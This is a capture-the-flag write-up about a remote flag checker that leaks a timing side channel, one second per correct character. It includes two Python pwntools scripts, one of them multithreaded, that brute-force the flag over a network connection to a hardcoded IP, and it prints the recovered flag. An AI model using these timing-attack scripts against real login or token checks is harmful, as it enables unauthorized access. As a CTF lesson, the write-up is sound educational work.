Approaching the challenge we only get a simple description:
nc 167.172.124.190 9002

Starting up by fuzzing the server with variable lengths of input, we always got the Bad Flag response but with varying time frames based on the input length then it wasn't long until we realized that our input is simply compared with the flag on the server and each character takes approximately 1 second.

We then wrote a simple script to approach the challenge as below

from pwn import *
import string 

flag = 'EGCTF{'
printable = string.printable
while flag[-1:] != '}':
    for i in printable:
        trial = flag + i
        r = remote('167.172.124.190', 9002, level='error')
        r.sendline(trial)
        res = r.recv(timeout=len(trial))
        if 'Bad' not in res:
            flag += i
            print flag
            break
print 'Flag: ' + flag

but after running the script for a while and our team members finding other flags we deduced that it is most probably sha256 which is 64 bytes so instead of bruteforcing with string.printable we only need the 16 hex bytes and the closing curly bracket but still it will take too long given the long response time of the server.

At that moment we decided to attempt to write a multithreaded script to reduce the time of each trial by 17 times (the bruteforce character domain) which will give us a better shot at getting the flag faster. The problem was none of us tried writing a multithreaded script before but of course familiar with the concept so with a couple of google searches we wrote a new script

from pwn import *
from threading import Thread

flag = 'EGCTF{'
keys = {'a':0, 'b':0, 'c':0, 'd':0, 'e':0, 'f':0, '0':0, '1':0, '2':0, '3':0, '4':0, '5':0, '6':0, '7':0, '8':0, '9':0, '}':0}

def checkchar(char):
    trial = flag + char
    r = remote('167.172.124.190', 9002, level='error')
    r.sendline(trial)
    res = r.recv(timeout=len(trial))
    if 'Bad' not in res:
        keys[char] = 1

hexa = '0123456789abcdef}'
while flag[-1:] != '}':
    threads = list()
    print('Current Flag: ' + flag)
    print('Current Hash Offset Trial: ' + str(len(flag) - len('EGCTF{') + 1))
    for i in hexa:
        t = Thread(target=checkchar, args=i)
        t.start()
        threads.append(t)
    for t in threads:
        t.join()
    counter = 0

    # verbose output 
    for i in keys:
        if keys[i]: 
            counter += 1
        print i + ':' + str(keys[i]) + ', ',
    print ''

    # detecting false positives or negative result
    if counter != 1:
        print('SERVER ERROR.')
        sleep(1)
        continue

    for k in keys:
        if keys[k]:
            flag += k
            keys[k] = 0
            break

print('Flag: ' + flag)

As expected it was much faster and we got the full flag EGCTF{73b433927afbca56a9f867df43a78575bfc8fdb839916074c6efcf2de10d4d0a} Ironically the flag was reduced to 10 bytes instead of 64 after we got it :"D


0 Comments

Leave a Reply

Your email address will not be published. Required fields are marked *